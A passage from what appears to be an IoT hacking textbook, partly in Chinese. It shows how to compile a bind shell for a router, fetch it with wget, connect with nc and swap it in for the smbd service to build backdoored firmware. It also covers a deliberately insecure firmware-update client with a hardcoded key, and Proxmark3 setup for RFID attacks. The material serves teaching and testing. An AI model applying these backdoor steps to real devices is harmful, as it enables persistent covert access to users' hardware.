**./openwrt/staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/mips-openwrt-linux-gcc** **bindshell.c** **-o** **bindshell****-static -EB -march=24kc** ``` 这应该会输出一个名为 *bindshell* 的二进制文件。使用 FIRMADYNE 将二进制文件传输到模拟固件中,并验证它是否正常工作。你可以通过使用 Python 在二进制所在的文件夹中创建一个迷你 web 服务器来轻松实现: ``` $ **p****ython -m** **SimpleHTTPServer** **8080 /** ``` 然后,在模拟固件中,使用 `wget` 命令下载二进制文件: ``` $ **wget** **http://192.168.1.2:8080/bindshell** Connecting to 192.168.1.2[192.168.1.2]:80 bindshell 100% |*****************************| 68544 00:00 ETA $ **chmod** **+****x .****/****bindshell** $ **.****/****bindshell** ``` 为了验证后门代理是否有效,尝试从主机设备使用 Netcat 连接它。一个交互式 shell 应该会出现。 ``` $ **nc** **192.168.1.1 9999** [~] Welcome to @OsandaMalith's Bind Shell ls -l drwxr-xr-x 2 0 0 4096 bin drwxr-xr-x 4 0 0 4096 boaroot drwxr-xr-x 6 0 0 4096 dev … ``` 在此阶段,我们需要修补固件,以便能够重新分发它。为此,我们可以使用开源项目 *firmware-mod-kit*。首先使用 `apt-get` 安装必要的系统包: ``` $ **sudo** **apt-get install git build-essential zlib1g-dev** **liblzma****-dev python-magic** **bsdmainutils** ``` 然后使用 `git` 命令从 GitHub 仓库下载该应用程序。这个仓库托管了一个分叉版本的应用程序,因为原始版本已经不再维护。应用程序文件夹中包含一个名为 *./extract-firmware.sh*` 的脚本,你可以使用该脚本通过类似 FIRMADYNE 的过程提取固件。 ````` ``` $ **git clone https://github.com/rampageX/firmware-mod-kit** $ **cd firmware-mod-kit** $ **./extract-firmware.sh D6000-V1.0.0.41_1.0.1.bin** Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake Preparing tools ... … Extracting 1418962 bytes of header image at offset 0 Extracting squashfs file system at offset 1418962 Extracting 2800 byte footer from offset 9668730 Extracting squashfs files... Firmware extraction successful! Firmware parts can be found in '/root/Desktop/firmware-mod-kit/fmk/*' ``` For the attack to be successful, the firmware should replace an existing binary that runs automatically, guaranteeing that any normal use of the device will trigger the backdoor. During the dynamic analysis phase, we indeed identified a binary like that: an SMB service running at port 445\. You can find the *smbd* binary in the */userfs/bin/smbd* directory. Let’s replace it with the bindshell: ``` $ **cp bindshell /userfs/bin/smbd** ``` After replacing the binary, reconstruct the firmware using the `build-firmware` script: ``` $ **./build-firmware.sh** firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake Building new squashfs file system... (this may take several minutes!) Squashfs block size is 128 Kb … Firmware header not supported; firmware checksums may be incorrect. New firmware image has been saved to: /root/Desktop/firmware-mod-kit/fmk/new-firmware.bin ``` Then use `firmadyne` to verify that when the firmware boots, the bindshell is still working. Using `netstat`, you can verify that the firmware’s SMB service, which normally listens for new connections at port 445, has been replaced with the backdoor agent, which listens for new connections on port 9999: ``` $ **netstat -a -n -u -t** Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN `tcp 0 0 0.0.0.0:9999 0.0.0.0:*` LISTEN tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN tcp 0 0 :::80 :::* LISTEN tcp 0 0 :::53 :::* LISTEN tcp 0 0 :::443 :::* LISTEN udp 0 0 0.0.0.0:57218 0.0.0.0:* udp 0 0 192.168.1.1:137 0.0.0.0:* udp 0 0 0.0.0.0:137 0.0.0.0:* udp 0 0 192.168.1.1:138 0.0.0.0:* udp 0 0 0.0.0.0:138 0.0.0.0:* udp 0 0 0.0.0.0:53 0.0.0.0:* udp 0 0 0.0.0.0:67 0.0.0.0:* udp 0 0 :::53 :::* udp 0 0 :::69 :::* ``` Instead of replacing the binary, you could patch the binary to provide the legitimate functionality and the bindshell. This would make users less likely to detect the backdoor. We leave this as an exercise for you to complete. ## Targeting Firmware Update Mechanisms A firmware’s update mechanism is a significant attack vector and is one of the top 10 IoT vulnerabilities according to OWASP. The *firmware update mechanism* is the process that fetches a newer version of the firmware, whether through the vendor’s website or an external device such as a USB drive, and installs it by replacing the earlier version. These mechanisms can introduce a range of security problems. They often fail to validate the firmware or use unencrypted network protocols; some lack anti-rollback mechanisms or don’t notify the end user about any security changes that resulted from the update. The update process might also exacerbate other problems in the device, such as the use of hardcoded credentials, an insecure authentication to the cloud component that hosts the firmware, and even excessive and insecure logging. To teach you about all these issues, we’ve created a deliberately vulnerable firmware update service. This service consists of an emulated IoT device that fetches firmware from an emulated cloud update service. You can download the files for this exercise from the book’s website at [`nostarch.com/practical-iot-hacking/`](https://nostarch.com/practical-iot-hacking/). This update service might be included in the future as part of IoTGoat, a deliberately insecure firmware based on OpenWrt whose goal is to teach users about common vulnerabilities in IoT devices. The authors of this book contribute to that project. To deliver the new firmware file, the server will listen on TCP port `31337`. The client will connect to the server on that port and authenticate using a preshared hardcoded key. The server will then send the following to the client, in order: the firmware length, an MD5 hash of the firmware file, and the firmware file. The client will verify the integrity of the firmware file by comparing the received MD5 hash with a hash of the firmware file, which it calculates using the same preshared key (which it used to authenticate earlier). If the two hashes match, it writes the received firmware file to the current directory as *received_firmware.gz*. ### Compilation and Setup Although you can run the client and the server on the same host, ideally you would run them on separate hosts to mimic a real update process. So we recommend compiling and setting up the two components on separate Linux systems. In this demonstration, we’ll use Kali Linux for the update server and Ubuntu for the IoT client, but you should be able to use any Linux distribution, as long as you’ve installed the proper dependencies. Install the following packages on both machines: ``` # apt-get install build-essential **libssl****-dev** ``` Navigate to the client directory and use the *makefile* included there to compile the client program by entering the following: ``` $ **make client** ``` This should create the executable *client* file on the current directory*.* Next, compile the server on the second machine. Navigate to the directory where the *makefile* and *server.c* reside and compile them by entering this command: ``` $ **make server** ``` We won’t analyze the server code, because in a real security assessment, you’d most likely only have access to the client binary (not even the source code!) from the firmware filesystem. But for educational purposes, we’ll examine the client’s source code to shed some light on the underlying vulnerabilities. ### The Client Code Now let’s look at the client code. This program, written in C, is available at [`nostarch.com/practical-iot-hacking/`](https://nostarch.com/practical-iot-hacking/). We’ll highlight only the important parts: ``` #define PORT 31337 #define FIRMWARE_NAME "./received_firmware.gz" #define KEY "jUiq1nzpIOaqrWa8R21" ``` The `#define` directives define constant values. We first define the server port on which the update service will be listening. Next, we specify a name for the received firmware file. Then we hardcode an authentication key that has already been shared with the server. Using hardcoded keys is a security problem, as we’ll explain later. We’ve split the code from the client’s `main()` function into two separate listings for better clarity. Listing 9-2 is the first part. ``` int main(int argc, char **argv) { struct sockaddr_in servaddr; int sockfd, filelen, remaining_bytes; ssize_t bytes_received; size_t offset; unsigned char received_hash[16], calculated_hash[16]; unsigned char *hash_p, *fw_p; unsigned int hash_len; uint32_t hdr_fwlen; char server_ip[16] = "127.0.0.1"; 1 FILE *file; if (argc > 1) 2 strncpy((char *)server_ip, argv[1], sizeof(server_ip) - 1); openlog("firmware_update", LOG_CONS | LOG_PID | LOG_NDELAY, LOG_LOCAL1); syslog(LOG_NOTICE, "firmware update process started with PID: %d", getpid()); memset(&servaddr, 0, sizeof(servaddr)); 3 servaddr.sin_family = AF_INET; inet_pton(AF_INET, server_ip, &(servaddr.sin_addr)); servaddr.sin_port = htons(PORT); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) fatal("Could not open socket %s\n", strerror(errno)); if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr)) == -1) fatal("Could not connect to server %s: %s\n", server_ip, strerror(errno)); /* send the key to authenticate */ write(sockfd, &KEY, sizeof(KEY)); 4 syslog(LOG_NOTICE, "Authenticating with %s using key %s", server_ip, KEY); /* receive firmware length */ recv(sockfd, &hdr_fwlen, sizeof(hdr_fwlen), 0); 5 filelen = ntohl(hdr_fwlen); printf("filelen: %d\n", filelen); ``` Listing 9-2: The first half of the insecure firmware update client’s `main(``)` function The main function begins by defining variables for networking purposes and to store values used throughout the program. We won’t explain the network programming part of the code in detail. Rather, we’ll focus on the high-level functionality. Notice the `server_ip` variable 1, which stores the server’s IP address as a null-terminated C string. If the user doesn’t specify any argument in the command line when starting the client, the IP address will default to the localhost (`127.0.0.1`). Otherwise, we copy the first argument, `argv[1]` (because `argv[0]` is always the program’s filename), to the `server_ip`2. Next, we open a connection to the system logger and instruct it to prepend all messages it receives in the future with the `firmware_update` keyword,``followed by the caller’s process identifier (PID). From then on, every time the program calls the `syslog` function, it sends messages to the */var/log/messages* file—the general system activity log, which is typically used for noncritical, nondebugging messages.`` ````The next code block prepares the TCP socket (through the socket descriptor `sockfd`) 3 and initiates the TCP connection to the server. If the server is listening on the other end, the client will successfully conduct the TCP three-way handshake. It can then begin sending or receiving data through the socket. The client then authenticates to the server by sending the `KEY` value defined earlier 4. It sends another message to `syslog` indicating that it’s trying to authenticate using this key. This action is an example of two insecure practices: excessive logging and the inclusion of sensitive information in log files. The preshared secret key is now written to a log that unprivileged users might be able to access. You can read more about these issues at [`cwe.mitre.org/data/definitions/779.html`](https://cwe.mitre.org/data/definitions/779.html)and [`cwe.mitre.org/data/definitions/532.html`](https://cwe.mitre.org/data/definitions/532.html). After the client authenticates successfully, it waits to receive the firmware length from the server, storing that value in `hdr_fwlen`, and then converts it from network-byte order to host-byte order by calling `ntohl` 5. Listing 9-3 shows the second part of the main function. ``` /* receive hash */ recv(sockfd, received_hash, sizeof(received_hash), 0); 1 /* receive file */ if (!(fw_p = malloc(filelen))) 2 fatal("cannot allocate memory for incoming firmware\n"); remaining_bytes = filelen; offset = 0; while (remaining_bytes > 0) { bytes_received = recv(sockfd, fw_p + offset, remaining_bytes, 0); offset += bytes_received; remaining_bytes -= bytes_received; #ifdef DEBUG printf("Received bytes %ld\n", bytes_received); #endif } /* validate firmware by comparing received hash and calculated hash */ hash_p = calculated_hash; hash_p = HMAC(EVP_md5(), &KEY, sizeof(KEY) - 1, fw_p, filelen, hash_p, &hash_len); 3 printf("calculated hash: "); for (int i = 0; i < hash_len; i++) printf("%x", hash_p[i]); printf("\nreceived hash: "); for (int i = 0; i < sizeof(received_hash); i++) printf("%x", received_hash[i]); printf("\n"); if (!memcmp(calculated_hash, received_hash, sizeof(calculated_hash))) 4 printf("hashes match\n"); else fatal("hash mismatch\n"); /* write received firmware to disk */ if (!(file = fopen(FIRMWARE_NAME, "w"))) fatal("Can't open file for writing %s\n", strerror(errno)); fwrite(fw_p, filelen, 1, file); 5 syslog(LOG_NOTICE, "Firmware downloaded successfully"); 6 /* clean up */ free(fw_p); fclose(file); close(sockfd); closelog(); return 0; ``` Listing 9-3: The second half of the insecure firmware update client’s `main(``)` function After receiving the firmware length (stored in variable `filelen`), the client receives the firmware file’s MD5 hash (stored in variable `received_hash`) 1. Then, based on the firmware length, it allocates enough memory on the heap to receive the firmware file 2. The `while` loop gradually receives the firmware file from the server and writes it in that allocated memory. The client then calculates the firmware file’s MD5 hash (`calculated_hash`) using the preshared key 3. For debugging purposes, we also print the calculated and received hashes. If the two hashes match 4, the client creates a file in the current directory using a filename taken from the value of `FIRMWARE_NAME`. It then dumps the firmware 5, which was stored in memory (pointed to by `fw_p`), to that file on the disk. It sends a final message to `syslog`6 about completing the new firmware download, does some cleanup, and exits. ### Running the Update Service To test the update service, we first execute the server. We do so on an Ubuntu host with the IP address 192.168.10.219\. Once the server starts listening, we run the client, passing it the server’s IP address as its first argument. We run the client on a Kali host with the IP address 192.168.10.10: ``` root@kali:~/firmware_update# ls client client.c Makefile root@kali:~/firmware_update# ./client 192.168.10.219 filelen: 6665864 calculated hash: d21843d3abed62af87c781f3a3fda52d received hash: d21843d3abed62af87c781f3a3fda52d hashes match root@kali:~/firmware_update# ls client client.c Makefile received_firmware.gz ``` The client connects to the server and fetches the firmware file. Notice the newly downloaded firmware file in the current directory once the execution completes. The following listing shows the server’s output. Make sure the server is up before you run the client. ``` user@ubuntu:~/fwupdate$ ./server Listening on port 31337 Connection from 192.168.10.20 Credentials accepted. hash: d21843d3abed62af87c781f3a3fda52d filelen: 6665864 ``` Note that because this is an emulated service, the client doesn’t actually update any firmware after downloading the file. ### Vulnerabilities of Firmware Update Services Let’s now inspect the vulnerabilities in this insecure firmware update mechanism. #### Hardcoded Credentials First, the client authenticates to the server using a hardcoded password. The use of hardcoded credentials (such as passwords and cryptographic keys) by IoT systems is a huge problem for two reasons: one because of the frequency with which they’re found in IoT devices and the other because of the consequences of their exploitation. Hardcoded credentials are embedded in the binary files rather than in configuration files. This makes it almost impossible for end users or administrators to change them without intrusively modifying the binary files in ways that risk breaking them. Also, if malicious actors ever discover the hardcoded credential by binary analysis or reverse engineering, they can leak it on the internet or in underground markets, allowing anyone to access the endpoint. Another problem is that, more often than not, these hardcoded credentials are the same for each installation of the product, even across different organizations. The reason is that it’s easier for vendors to create one master password or key instead of unique ones for every device. In the following listing, you can see part of the output from running the `strings` command against the *client* binary file, which reveals the hardcoded password (highlighted): ``` QUITTING! firmware_update firmware update process started with PID: %d Could not open socket %s Could not connect to server %s: %s **jUiq1nzpIOaqrWa8R21** Authenticating with %s using key %s filelen: %d cannot allocate memory for incoming firmware calculated hash: received hash: hashes match hash mismatch ./received_firmware.gz Can't open file for writing %s Firmware downloaded successfully ``` Attackers could also discover the key by analyzing the server binary file (which would, however, be hosted on the cloud, making it harder to compromise). The client would normally reside on the IoT device, making it much easier for someone to inspect it. You can read more about hardcoded passwords at [`cwe.mitre.org/data/definitions/798.html`](https://cwe.mitre.org/data/definitions/798.html). #### Insecure Hashing Algorithms The server and client rely on HMAC-MD5 for calculating a cryptographic hash the client uses to validate the firmware file’s integrity. Although the MD5 message-digest algorithm is now considered a broken and risky cryptographic hash function, HMAC-MD5 doesn’t suffer from the same weaknesses. HMAC is a keyed-hash message authentication code that uses a cryptographic hash function (in this case, MD5) and a secret cryptographic key (the preshared key in our example). As of today, HMAC-MD5 has not been proven to be vulnerable to the practical collision attacks that MD5 has. Nevertheless, current security best practices suggest that HMAC-MD5 shouldn’t be included in future cipher suites. #### Unencrypted Communication Channels A high-risk vulnerability for the update service is the use of an unencrypted communication channel. The client and server exchange information using a custom cleartext protocol over TCP. This means that if attackers attain a man-in-the-middle position on the network, they could capture and read the transmitted data. This includes the firmware file and the key used for authenticating against the server (Figure 9-6). In addition, because the HMAC-MD5 relies on the same cryptographic key, the attacker could maliciously alter the firmware in transit and plant backdoors in it. You can read more about this vulnerability at [`cwe.mitre.org/data/definitions/319.html`](https://cwe.mitre.org/data/definitions/319.html). #### Sensitive Log Files Last but not least, the client’s logging mechanism includes sensitive information (the `KEY` value) in log files (in this case, the */var/log/messages*). We showed the exact spot this occurred when walking through the client source code. This is a generally insecure practice, because log files typically have insecure file permissions (often, they’re readable by everyone). In many cases, the log output appears in less secure areas of the IoT system, such as in a web interface that doesn’t require admin privileges or a mobile app’s debugging output.  Figure 9-6: A Wireshark screenshot showing the transmission of sensitive information (an authentication key) over an unencrypted TCP protocol ## Conclusion In this chapter, we explored firmware reverse engineering and research. Every device has a firmware, and even though analyzing it looks intimidating at first, you can easily learn to do it by practicing the techniques in this chapter. Firmware hacking can extend your offensive security capabilities and is a great skill for your tool set. Here, you learned the different ways of obtaining and extracting firmware. You emulated a single binary and the whole firmware and loaded a vulnerable firmware to a device. Then you researched and identified vulnerabilities on an intentionally vulnerable firmware service. To continue practicing targeting a vulnerable firmware, try the OWASP IoTGoat ([`github.com/OWASP/IoTGoat/`](https://github.com/OWASP/IoTGoat/)), a deliberately insecure firmware based on OpenWrt and maintained by OWASP. Or try the Damn Vulnerable ARM Router (DVAR), an emulated Linux-based ARM router that runs a vulnerable web server ([`blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html`](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)). Those of you who want to try your skills on a low-cost ($17) physical device can try the Damn Vulnerable IoT Device (DVID). It’s an open source, vulnerably designed IoT device that you can build upon a cheap Atmega328p microcontroller and an OLED screen.```` ````` ``````
第四部分
无线电黑客
第十章:短距离无线电:滥用 RFID

物联网(IoT)设备并不总是需要跨越长距离进行持续的无线传输。制造商通常使用短距离无线电技术来连接配备低功耗、廉价发射器的设备。这些技术使设备能够在较长的时间间隔内交换少量数据,因此非常适合那些在不传输数据时需要节省电力的物联网设备。
本章中,我们将探讨最流行的短距离无线电解决方案——射频识别(RFID)。它常用于智能门锁和门禁卡标签以进行用户身份识别。你将学习使用各种方法克隆标签、破解标签的加密密钥,并更改标签中存储的信息。成功利用这些技术可能使攻击者获得对某个设施的非法访问权限。例如,你还将编写一个简单的模糊测试器,用于发现 RFID 读卡器中的未知漏洞。
RFID 的工作原理
RFID 的设计初衷是取代条形码技术。它通过无线电波传输编码数据,然后使用这些数据来识别带标签的实体。这个实体可以是一个人,比如希望进入公司大楼的员工;宠物;通过收费站的汽车;甚至是简单的商品。
RFID 系统有多种形状、支持的范围和大小,但我们通常可以识别出图 10-1 中显示的主要组件。

图 10-1:常见 RFID 系统组件
RFID 标签的存储器包含标识某个实体的信息。读卡器可以通过扫描天线读取标签的信息,通常这种天线是外部连接的,且通常生成无线连接所需的恒定电磁场。当标签的天线进入读卡器天线的范围内时,读卡器的电磁场会向标签传送电流,提供能量使其工作。标签接着可以接收来自 RFID 读卡器的命令,并发送包含标识数据的响应。
若干组织制定了标准和规章,规定了使用 RFID 技术共享信息时所使用的射频、协议和程序。以下各节将概述这些变种、它们所基于的安全原则以及 RFID 启用的物联网设备的测试方法。
射频频段
RFID 依赖于一组在特定射频频段内工作的技术,如表 10-1 所示。
表 10-1:RFID 频段
| 频段 | 信号范围 |
|---|---|
| 极低频(VLF) | (3 kHz–30 kHz) |
| 低频(LF) | (30 kHz–300 kHz) |
| 中频(MF) | (300 kHz–3,000 kHz) |
| 高频(HF) | (3,000 kHz–30 MHz) |
| 超高频(VHF) | (30 MHz–300 MHz) |
| 超高频(UHF) | (300 MHz–3,000 MHz) |
| 超高频(SHF) | (3,000 MHz–30 GHz) |
| 极高频 (EHF) | (30 GHz–300 GHz) |
| 未分类 | (300 GHz–3,000 GHz) |
这些 RFID 技术中的每一种都遵循特定的协议。用于系统的最佳技术取决于信号范围、数据传输速率、精度和实施成本等因素。
被动与主动 RFID 技术
RFID 标签可以依靠自身的电源,比如嵌入式电池,或者从读取天线获取电力,通过接收的无线电波产生的电流来供电。我们将这些技术分类为 主动 或 被动 技术,如 图 10-2 所示。

图 10-2:沿无线电频谱分布的被动与主动技术
由于主动设备无需外部电源即可启动通信过程,它们通常工作在较高的频率范围内,并能持续广播信号。它们还能支持更长距离的连接,因此常用于追踪信标。被动设备则工作在 RFID 频谱中的三种较低频率上。
一些特殊设备是 半被动 的;它们包含集成电源,能够在不依赖阅读器信号的情况下始终为 RFID 标签微芯片提供电源。因此,这些设备比被动设备响应更快,且具有更广的读取范围。
识别现有 RFID 技术差异的另一种方法是观察它们的无线电波。低频设备使用长波,而高频设备使用短波(见 图 10-3)。

图 10-3:根据频率变化的波形
这些 RFID 实现还使用尺寸和线圈圈数非常不同的天线,如 表 10-2 所示。每种天线的形状为每个波长提供了最佳的范围和数据传输速率。
RFID 标签的结构
要了解 RFID 标签中存在的网络安全威胁,您需要了解这些设备的内部工作原理。商业标签通常符合 ISO/IEC 18000 和 EPCglobal 国际标准,这些标准定义了一系列不同的 RFID 技术,每种技术使用独特的频率范围。
表 10-2:不同频率实现的天线
| 低频 | 高频 | 超高频 |
|---|---|---|
![]() |
![]() |
![]() |
标签分类
EPCglobal 将 RFID 标签分为六类。每一类的标签都具备前一类中列出的所有功能,因此具有向后兼容性。
Class 0 标签 是被动标签,工作在 UHF 频段。厂商在生产工厂中对其进行预编程,因此无法更改其存储在内存中的信息。
Class 1 标签也可以在 HF 频段中工作。此外,它们在生产后只能写入一次。许多 Class 1 标签还可以处理它们接收到的命令的循环冗余校验 (CRC)。CRC 是命令末尾的一些额外字节,用于错误检测。
Class 2 标签可以多次写入。
Class 3 标签可以包含嵌入式传感器,能够记录环境参数,如当前温度或标签的运动。这些标签是半被动的,因为尽管它们有嵌入式电源,如集成电池,但它们不能主动与其他标签或读取器进行无线通信。
相反,Class 4 标签可以与同一类别的其他标签进行通信,使它们成为主动标签。
最先进的标签是Class 5 标签,它不仅可以为其他标签提供电力,还能与所有前述标签类别进行通信。Class 5 标签可以充当 RFID 阅读器。
存储在 RFID 标签中的信息
RFID 标签的内存通常存储四种数据:(a)标识数据,用于标识标签所附着的实体;(b)补充数据,提供有关该实体的进一步细节;(c)控制数据,用于标签的内部配置;以及(d)标签的制造商数据,其中包含标签的唯一标识符 (UID) 以及有关标签生产、类型和供应商的详细信息。你会在所有商业标签中找到前两种数据;后两种则可能根据标签供应商不同而有所差异。
标识数据包括用户定义的字段,如银行账户、产品条形码和价格。它还包括标准所规定的多个寄存器,这些标准定义了标签所遵循的规定。例如,ISO 标准规定了应用家庭标识符 (AFI) 值,这是一个代码,指示标签所属对象的种类。旅行行李的标签会使用与图书馆书籍标签不同的预定义 AFI。另一个由 ISO 规定的重要寄存器是数据存储格式标识符 (DSFID),它定义了用户数据的逻辑组织。
补充数据可以处理标准定义的其他细节,例如应用标识符 (AIs)、ANSI MH-10 数据标识符 (DIs) 和 ATA 文本元素标识符 (TEIs),这些我们在这里不讨论。
RFID 标签还支持根据标签供应商不同而设定的各种安全控制。大多数标签具有限制每个用户内存块的读取或写入操作以及包含 AFI 和 DSFID 值的特殊寄存器的机制。这些锁定机制使用存储在控制内存中的数据,并具有由供应商预配置的默认密码,但允许标签拥有者配置自定义密码。
低频 RFID 标签
低频 RFID 设备包括员工用来开门的门禁卡、小型玻璃管标签(植入宠物体内)以及用于洗衣、工业和物流应用的耐温 RFID 标签。这些设备依赖于被动 RFID 技术,工作频率范围为 30 kHz 到 300 kHz,尽管大多数人日常使用的设备(用于跟踪、访问或验证任务)工作在 125 kHz 到 134 kHz 的较窄范围内。与高频技术不同,低频标签具有较小的存储容量、较慢的数据传输速率,以及防水和防尘的特点。
我们通常使用低频标签进行门禁控制。原因在于它们的低存储容量只能处理少量数据,例如用于身份验证的 ID。最先进的标签之一,HID Global 的 ProxCard(图 10-4),使用少量字节支持唯一的 ID,标签管理系统可以利用这些 ID 进行用户认证。

图 10-4:HID ProxCard II,一种流行的低频 RFID 标签
其他公司,例如 NXP 通过其 Hitag2 标签和读卡器,推出了进一步的安全控制;例如,使用共享密钥的互认证协议,用于保护标签与读卡器之间的通信。这项技术在车辆防盗应用中非常受欢迎。
高频 RFID 标签
全球范围内,你可以在支付系统等应用中找到高频 RFID 技术,这使得它成为非接触式世界中的颠覆者。许多人称这种技术为 近场通信(NFC),这是指工作在 13.56 MHz 频率范围内的设备。一些最重要的 NFC 技术包括 MIFARE 卡和集成在移动设备中的 NFC 微控制器。
NXP 是最受欢迎的高频标签供应商之一,控制着大约 85% 的非接触式市场。移动设备使用了许多其 NFC 芯片。例如,iPhone XS 和 XS Max 的新版本实现了 NXP 100VB27 控制器。这使得 iPhone 可以与其他 NFC 应答器通信,并执行如非接触式支付等任务。此外,NXP 还拥有一些低成本且文档完善的微控制器,如 PN532,广泛用于研发。PN532 支持读取和写入、点对点通信以及仿真模式。
NXP 还设计了 MIFARE 卡,这是基于 ISO/IEC 14443 的非接触式智能卡。MIFARE 品牌有不同的系列,例如 MIFARE Classic、MIFARE Plus、MIFARE Ultralight、MIFARE DESFire 和 MIFARE SAM。根据 NXP 的说法,这些卡实现了 AES 和 DES/Triple-DES 加密方法,而一些版本,例如 MIFARE Classic、MIFARE SAM 和 MIFARE Plus,还支持其专有的加密算法 Crypto-1。
使用 Proxmark3 攻击 RFID 系统
本节中,我们将介绍多种针对 RFID 标签的攻击。我们将克隆标签,使你能够冒充合法的人或物体。我们还将绕过卡片的保护措施,篡改其存储的内存内容。此外,我们还将构建一个简单的模糊测试工具,你可以用它对具有 RFID 读取功能的设备进行测试。
作为卡片读取器,我们将使用 Proxmark3,这是一款通用的 RFID 工具,配备强大的现场可编程门阵列(FPGA)微控制器,能够读取和仿真低频和高频标签(github.com/Proxmark/proxmark3/wiki)。目前 Proxmark3 的价格不到 300 美元。你也可以使用 Proxmark3 EVO 和 Proxmark3 RDV 4 版本的工具。要使用 Proxmark3 读取标签,你需要为特定卡片频段设计的天线(参考表 10-2 查看天线类型的图片)。你可以从与 Proxmark3 设备相同的分销商处获取这些天线。
我们还将向你展示如何使用免费的应用程序,将任何支持 NFC 的 Android 设备转换为 MIFARE 卡的卡片读取器。
为了进行这些测试,我们将使用 HID ProxCard,以及一些未编程的 T55x7 标签和 NXP MIFARE Classic 1KB 卡,这些卡的价格不到 2 美元每张。
设置 Proxmark3
要使用 Proxmark3,你首先需要在计算机上安装一些必需的软件包。以下是如何使用apt进行安装:
$ **sudo apt install git build-essential libreadline5 libreadline-dev gcc-arm-none-eabi libusb-0.1-4 libusb-dev libqt4-dev ncurses-dev perl pkg-config libpcsclite-dev pcscd**
接下来,使用git命令从 Proxmark3 的远程仓库下载源代码。然后导航到其文件夹并运行make命令来构建所需的二进制文件:
$ **git clone [`github.com/Proxmark/proxmark3.git`](https://github.com/Proxmark/proxmark3.git)**
$ **cd proxmark3**
$ **make clean && make all**
现在,你准备好通过 USB 线将 Proxmark3 连接到计算机。连接后,使用dmesg命令识别设备连接的串口,该命令可在 Kali Linux 中使用。你可以使用该命令获取系统硬件的信息:
$ **dmesg**
[44643.237094] usb 1-2.2: new full-speed USB device number 5 using uhci_hcd
[44643.355736] usb 1-2.2: New USB device found, idVendor=9ac4, idProduct=4b8f, bcdDevice= 0.01
[44643.355738] usb 1-2.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[44643.355739] usb 1-2.2: Product: proxmark3
[44643.355740] usb 1-2.2: Manufacturer: proxmark.org
[44643.428687] cdc_acm 1-2.2:1.0: ttyACM0: USB ACM device
根据输出结果,我们知道设备连接在/dev/ttyACM0串口上。
更新 Proxmark3
由于 Proxmark3 的源代码经常更新,我们建议在使用设备之前先更新它。设备软件由操作系统、引导程序映像和 FPGA 映像组成。引导程序执行操作系统,而 FPGA 映像则是设备嵌入式 FPGA 中执行的代码。
最新的引导程序版本位于源代码文件夹中的bootrom.elf文件。要安装它,连接设备到计算机后,按住 Proxmark3 的按钮,直到设备上显示红色和黄色的灯光。然后,在按住按钮的同时,使用源代码文件夹中的flasher二进制文件安装映像。作为参数,传递 Proxmark3 的串口接口以及-b参数来定义引导程序映像的路径:
$ **./client/flasher /dev/ttyACM0 -b ./bootrom/obj/bootrom.elf**
Loading ELF file '../bootrom/obj/bootrom.elf'...
Loading usable ELF segments:
0: V 0x00100000 P 0x00100000 (0x00000200->0x00000200) [R X] @0x94
1: V 0x00200000 P 0x00100200 (0x00000c84->0x00000c84) [R X] @0x298
Waiting for Proxmark to appear on /dev/ttyACM0 .
Found.
Flashing...
Writing segments for file: ../bootrom/obj/bootrom.elf
0x00100000..0x001001ff [0x200 / 1 blocks]. OK
0x00100200..0x00100e83 [0xc84 / 7 blocks]....... OK
Resetting hardware...
All done.
Have a nice day!
你可以在相同的文件中找到操作系统和 FPGA 镜像的最新版本,文件名为fullimage.elf,位于源代码文件夹中。如果你使用的是 Kali Linux,你还应该停止并禁用 ModemManager。ModemManager 是许多 Linux 发行版中控制移动宽带设备和连接的守护进程,它可能会干扰连接的设备,如 Proxmark3。要停止并禁用此服务,可以使用systemectl命令,该命令已预装在 Kali Linux 中:
# systemctl stop ModemManager
# systemctl disable ModemManager
你可以使用 Flasher 工具再次完成闪存操作,这次不带-b参数。
#**./****client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf**
Loading ELF file 'armsrc/obj/fullimage.elf'...
Loading usable ELF segments:
0: V 0x00102000 P 0x00102000 (0x0002ef48->0x0002ef48) [R X] @0x94
1: V 0x00200000 P 0x00130f48 (0x00001908->0x00001908) [RW ] @0x2efdc
Note: Extending previous segment from 0x2ef48 to 0x30850 bytes
Waiting for Proxmark to appear on /dev/ttyACM0 .
Found.
Flashing...
Writing segments for file: armsrc/obj/fullimage.elf
0x00102000..0x0013284f [0x30850 / 389 blocks]......... OK
Resetting hardware...
All done.
Have a nice day!
Proxmark3 RVD 4.0 还支持一个命令,可以自动化整个更新过程,包括更新引导加载程序、操作系统和 FPGA:
$ ./**pm3-flash-all**
要查看更新是否成功,执行位于client文件夹中的Proxmark3二进制文件,并将设备的串口接口传递给它:
# ./client/proxmark3 /dev/ttyACM0
Prox/RFID mark3 RFID instrument
bootrom: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:22:59
os: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:23:00
fpga_lf.bit built for 2s30vq100 on 2015/03/06 at 07:38:04
fpga_hf.bit built for 2s30vq100 on 2019/10/06 at 16:19:20
SmartCard Slot: not available
uC: AT91SAM7S512 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 512K bytes. Used: 206927 bytes (39%). Free: 317361 bytes (61%).
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory
proxmark3>
该命令应输出设备的属性,例如嵌入式处理器类型、内存大小和架构标识符,然后显示提示符。
识别低频和高频卡
现在让我们识别特定类型的 RFID 卡。Proxmark3 软件预加载了不同供应商的已知 RFID 标签列表,并支持供应商特定的命令,允许你控制这些标签。
在使用 Proxmark3 之前,连接一个与卡片类型匹配的天线。如果你使用的是更新的 Proxmark3 RVD 4.0 型号,天线看起来会略有不同,因为它们更加紧凑。请查阅供应商的文档,选择适合每种情况的天线。
